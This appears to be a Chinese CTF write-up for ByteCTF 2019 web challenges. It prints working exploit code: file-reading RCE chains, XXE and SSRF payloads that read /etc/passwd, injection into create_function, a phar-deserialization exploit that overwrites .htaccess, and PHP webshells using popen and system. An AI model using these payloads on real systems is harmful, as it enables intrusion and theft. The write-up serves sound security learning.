Bytectf 2019
题目感觉质量都还可以(菜,然而并没有做出来几个 web 题,磕安卓逆向磕了好久,花了很多时间,不过终于缕清楚了。剩下几个 web 题目有机会再补下 wp 吧。
boring code
这道题目被卡了。。。
<?php
function is_valid_url($url) {
if (filter_var($url, FILTER_VALIDATE_URL)) {
if (preg_match('/data:\/\//i', $url)) {
return false;
}
return true;
}
return false;
}
if (is_valid_url($url)) {
$r = parse_url($url);
if (preg_match('/baidu\.com$/', $r['host'])) {
$code = file_get_contents($url);
var_dump($code);
if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
echo 'bye~';
} else {
eval($code);
}
}
} else {
echo "error: host not allowed";
}
} else {
echo "error: invalid url";
}
URL 检测
绕过 is_valid_url、parse_url、file_get_contents,但是查到的方法只有一个,data://baidu.com/plain;base64,
,而且 data:// 还被过滤了。那我们还有两个思路:注册一个域名( ???)、找到一个跳转。
其实可以发现 baidu 平台下诸多外链都存在跳转,不过这里构造是要把域名改为 post.baidu.com,可以参考 post.baidu.com跳转链接的生成方法
后来在 XCTF-2020战疫 中发现有的师傅使用了新方法,因为过滤的形式为 data://
,那我们构造一个 data:
形式的 payload 亦可,即 compress.zlib://data:@127.0.0.1/,xxx
,或者加入 base64。后来试了一下 bzip2,发现在 php7 的某个版本中已经默认不启用了,而且 zlib 可以支持非压缩流,那么用起来可能会更方便一点(来源见下。
无参数 RCE
需要构造函数了,思路可以参考 https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/
可以构造出一个可以读当前目录的payload echo(readfile(end(scandir("."))))
可以读取目录中最后一个文件。
首先收集一下满足第一个要求的函数,满足第二个要求且,最里面的函数是无参数的,通过 get_defined_functions() fuzz 一下可以得到这么三个函数 time localtime unixtojd
,time 返回 unix 时间戳,localtime 返回一个时间戳数组,其中 index 0 表示秒。并没有发现 W&M 他们 payload 里用到的 localeconv,不过同样可以用 chr(pos(localtime()))
获取 .
。
我们知道的是 readfile(end(scandir(".")))
,然而我们要读的是上一层目录。就要通过 next(scandir("."))
拿到 ..
,然后 chdir(next(scandir(".")))
,不过返回的是一个 bool 值,那我们需要找到合适的函数。
先跳过这一步,后面类似之前的步骤,调用 readfile(end(scandir(xxxx)))
,我们现在需要构造的就是接受一个 bool 值然后返回 . 的函数调用。localtime() 可以接受参数,参数是 time,那我们看一下 time(),time ( void ) : int
,并且 time(123,1) => 1568213405
,void 使得调用不会产生异常。那我们就可以嵌套了,即 localtime(time(chdir(next(scandir(".")))))
,这里需要取当前元素,并且 pos 与 current 相同,于是可构造为 chr(pos(localtime(time(chdir(next(scandir(".")))))))
,这里拿到 .
就可以替换掉 xxx 了。
最后替换里面的点,最终得到 readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(chr(pos(localtime()))))))))))))
,不过 ord('.')=46,需要等到每分钟的第 46 秒才可以。
这里给一个其他比赛的 payload,感觉是个新思路(都是 fuzzzzz)readfile(end(scandir(chr(octdec(ord(ceil(sqrt(ord(exp(chdir(next(scandir(current(localeconv()))))))))))))))
,其中 chr(octdec(ord(ceil(sqrt(ord(exp()))))))
返回了 .
这个符号,exp 的参数是 true,即 1。最内层的 current(localeconv())
函数返回 .
。
这里贴一下某师傅的绕过以及 fuzz 的方法和结果 https://blog.csdn.net/a3320315/article/details/102989485
rss
看到 rss 就想到了是个 XXE,刚好另一题被限制的 payload 还可以用上,传入 data://baidu.com/plain;base64,
,后面跟上 base64 编码过的 RSS。
构造一个包来产生 XXE
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel><title>&xxe;</title><link>http://xz.aliyun.com/forum/</link><description>xx</description><atom:link href="http://xz.aliyun.com/forum/feed/" rel="self"></atom:link><language>zh-hans</language><lastBuildDate>Tue, 02 Jul 2019 06:03:00 +0800</lastBuildDate><item><title>CVE-2019-0221—Apache Tomcat SSI printenvXSS</title><link>http://xz.aliyun.com/t/5310</link><description>CVE-2019-0221—Apache Tomcat SSI printenvXSS</description><pubDate>Mon, 03 Jun 2019 09:09:00 +0800</pubDate><guid>http://xz.aliyun.com/t/5310</guid></item></channel></rss>
这里手改的先知的 RSS 文件。可以读到几个文件,其中比较重要的就是如下的:
route.php
<?php
Route::set('index.php',function(){
Index::createView('Index');
});
Route::set('index',function(){
Index::createView('Index');
});
Route::set('fetch',function(){
if(isset($_REQUEST['rss_url'])){
Fetch::handleUrl($_REQUEST['rss_url']);
}
});
Route::set('rss_in_order',function(){
if(!isset($_REQUEST['rss_url']) && !isset($_REQUEST['order'])){
Admin::createView('Admin');
}else{
if($_SERVER['REMOTE_ADDR'] == '127.0.0.1' || $_SERVER['REMOTE_ADDR'] == '::1'){
Admin::sort($_REQUEST['rss_url'],$_REQUEST['order']);
}else{
echo ";(";
}
}
});
定义了路由,可以发现有一个 admin 的控制器,还需要 SSRF,刚好可以通过 XXE 来触发。
adminController.php
<?php
class Admin extends Controller{
public static function sort($url,$order){
$rss=file_get_contents($url);
$rss=simplexml_load_string($rss,'SimpleXMLElement', LIBXML_NOENT);
require_once './views/Admin.php';
}
}
views/Admin
<?php
if($_SERVER['REMOTE_ADDR'] != '127.0.0.1'){
die(';(');
}
?>
<?php include('package/header.php') ?>
<?php if(!$rss) {
?>
<div class="rss-head row">
<h1>RSS解析失败</h1>
<ul>
<li>此网站RSS资源可能存在错误无法解析</li>
<li>此网站RSS资源可能已经关闭</li>
<li>此网站可能禁止PHP获取此内容</li>
<li>可能由于来自本站的访问过多导致暂时访问限制Orz</li>
</ul>
</div>
<?php
exit;
};
function rss_sort_date($str){
$time=strtotime($str);
return date("Y年m月d日 H时i分",$time);
}
?>
<div>
<div class="rss-head row">
<div class="col-sm-12 text-center">
<h1><a href="<?php echo $rss->channel->link;?>" target="_blank"><?php echo $rss->channel->title;?></a></h1>
<span style="font-size: 16px;font-style: italic;width:100%;"><?php echo $rss->channel->link;?></span>
<p><?php echo $rss->channel->description;?></p>
<?php
if(isset($rss->channel->lastBuildDate)&&$rss->channel->lastBuildDate!=""){
echo "<p> 最后更新:".rss_sort_date($rss->channel->lastBuildDate)."</p>";
}
?>
</div>
</div>
<div class="article-list" style="padding:10px">
<?php
$data = [];
foreach($rss->channel->item as $item){
$data[] = $item;
}
usort($data, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
foreach($data as $item){
?>
<article class="article">
<h1><a href="<?php echo $item->link;?>" target="_blank"><?php echo $item->title;?></a></h1>
<div class="content">
<p>
<?php echo $item->description;?>
</p>
</div>
<div class="article-info">
<i style="margin:0px 5px"></i><?php echo rss_sort_date($item->pubDate);?>
<i style="margin:0px 5px"></i>
<?php
for($i=0;$i<count($item->category);$i++){
echo $item->category[$i];
if($i+1!=count($item->category)){
echo ",";
}
};
if(isset($item->author)&&$item->author!=""){
?>
<i class="fa fa-user" style="margin:0px 5px"></i>
<?php
echo $item->author;
}
?>
</div>
</article>
<?php }?>
</div>
<div class="text-center">
免责声明:本站只提供RSS解析,解析内容与本站无关,版权归来源网站所有
</div>
</div>
</div>
<?php include('package/footer.php') ?>
这个文件比较重要,可以发现在获取 rss 之后进入了一个函数 usort($data, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
,其中回调了匿名函数,而其中的 $order
我的门可以控制,那我们可以在其中插入语句来 RCE 了。下面就是 XXE->SSRF->RCE 了。但是怀疑环境禁用了命令执行函数,只能通过读文件的方法拿到 flag。
列根目录的 exp:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1/rss_in_order?rss_url=data://baidu.com/plain;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz4KPHJzcyB2ZXJzaW9uPSIyLjAiIHhtbG5zOmF0b209Imh0dHA6Ly93d3cudzMub3JnLzIwMDUvQXRvbSI%2BCjxjaGFubmVsPjx0aXRsZT4xMjM8L3RpdGxlPjxsaW5rPmh0dHA6Ly94ei5hbGl5dW4uY29tL2ZvcnVtLzwvbGluaz48ZGVzY3JpcHRpb24%2BeHg8L2Rlc2NyaXB0aW9uPjxhdG9tOmxpbmsgaHJlZj0iaHR0cDovL3h6LmFsaXl1bi5jb20vZm9ydW0vZmVlZC8iIHJlbD0ic2VsZiI%2BPC9hdG9tOmxpbms%2BPGxhbmd1YWdlPnpoLWhhbnM8L2xhbmd1YWdlPjxsYXN0QnVpbGREYXRlPlR1ZSwgMDIgSnVsIDIwMTkgMDY6MDM6MDAgKzA4MDA8L2xhc3RCdWlsZERhdGU%2BPGl0ZW0%2BPHRpdGxlPkNWRS0yMDE5LTAyMjHigJRBcGFjaGUgVG9tY2F0IFNTSSBwcmludGVudlhTUzwvdGl0bGU%2BPGxpbms%2BaHR0cDovL3h6LmFsaXl1bi5jb20vdC81MzEwPC9saW5rPjxkZXNjcmlwdGlvbj5DVkUtMjAxOS0wMjIx4oCUQXBhY2hlIFRvbWNhdCBTU0kgcHJpbnRlbnZYU1M8L2Rlc2NyaXB0aW9uPjxwdWJEYXRlPk1vbiwgMDMgSnVuIDIwMTkgMDk6MDk6MDAgKzA4MDA8L3B1YkRhdGU%2BPGd1aWQ%2BaHR0cDovL3h6LmFsaXl1bi5jb20vdC81MzEwPC9ndWlkPjwvaXRlbT48L2NoYW5uZWw%2BPC9yc3M%2BCg%3D%3D&
order=a%2Cvar_dump(scandir('%2F')))%3B%7Dvar_dump(scandir('%2F'))%3B%2F*" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel><title>&xxe;</title><link>http://xz.aliyun.com/forum/</link><description>xx</description><atom:link href="http://xz.aliyun.com/forum/feed/" rel="self"></atom:link><language>zh-hans</language><lastBuildDate>Tue, 02 Jul 2019 06:03:00 +0800</lastBuildDate><item><title>CVE-2019-0221—Apache Tomcat SSI printenvXSS</title><link>http://xz.aliyun.com/t/5310</link><description>CVE-2019-0221—Apache Tomcat SSI printenvXSS</description><pubDate>Mon, 03 Jun 2019 09:09:00 +0800</pubDate><guid>http://xz.aliyun.com/t/5310</guid></item></channel></rss>
Ezcms
首先读一遍源码,有个hash 扩展和上传,
先 hashpumpy.hashpump("52107b08c0f3342d2153ae1d68e6262c","adminadmin","a",8)
过了限制,上传没有啥限制,可以直接使用 popen
来命名执行(或者拼接绕过),访问发现 500,想起来有个被输出的 .htaccess,导致无法正常解析
发现可以触发 phar 反序列化,那现在有两个思路,通过触发上传来移动文件,或者清掉.htaccess,本地测试发现 move_uploaded_file($this->file_tmp, $this->upload_dir.'/'.md5($this->filename).'.'.$ext);
这条语句执行失败,这条路不行了。
那我们考虑另一个思路,通过反序列化文件覆盖,能够使用的有一个内置类 ZipArchive->open
,如果达到任意文件内容覆盖需要一个 open 函数,可发现
function __call($name, $arguments)
{
$this->admin->open($this->username, $this->password);
}
刚好有个魔术函数,两个参数也符合。
exp 如下:
<?php
class File{
public $filename;
public $filepath;
public $checker;
function __construct()
{
// $this->checker=new Admin();
$this->checker=new Profile();
}
}
class Profile{
public $username;
public $password;
public $admin;
function __construct()
{
$this->admin=new ZipArchive();
$this->username="/var/www/html/sandbox/e518c8d610a025cd70759c837700f750/.htaccess";
$this->password=ZIPARCHIVE::OVERWRITE;
}
function __call($name, $arguments)
{
$this->admin->open($this->username, $this->password);
}
}
$o=new File();
ini_set('phar.readonly',"Off");
unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
把这个上传之后,需要上传一个 php 文件,发现过滤 rce 不完整,写一个 shell 如下
<?php
phpinfo();
$handle = popen($_POST[0], 'r');
$read = fread($handle, 4096);
echo $read;
pclose($handle);
或者
<?php
$c="sys"."tem"
$c($_GET[0]);
也传上去
访问以触发反序列化 http://112.126.102.158:9999/view.php?filename=9c7f4a2fbf2dd3dfb7051727a644d99f.phar&filepath=php://filter/resource=phar://./sandbox/e518c8d610a025cd70759c837700f750/9c7f4a2fbf2dd3dfb7051727a644d99f.phar
其中加上了 php://filter 来绕过行首匹配正则,触发反序列化,之后访问 shell,读根目录下的 flag 就可以了。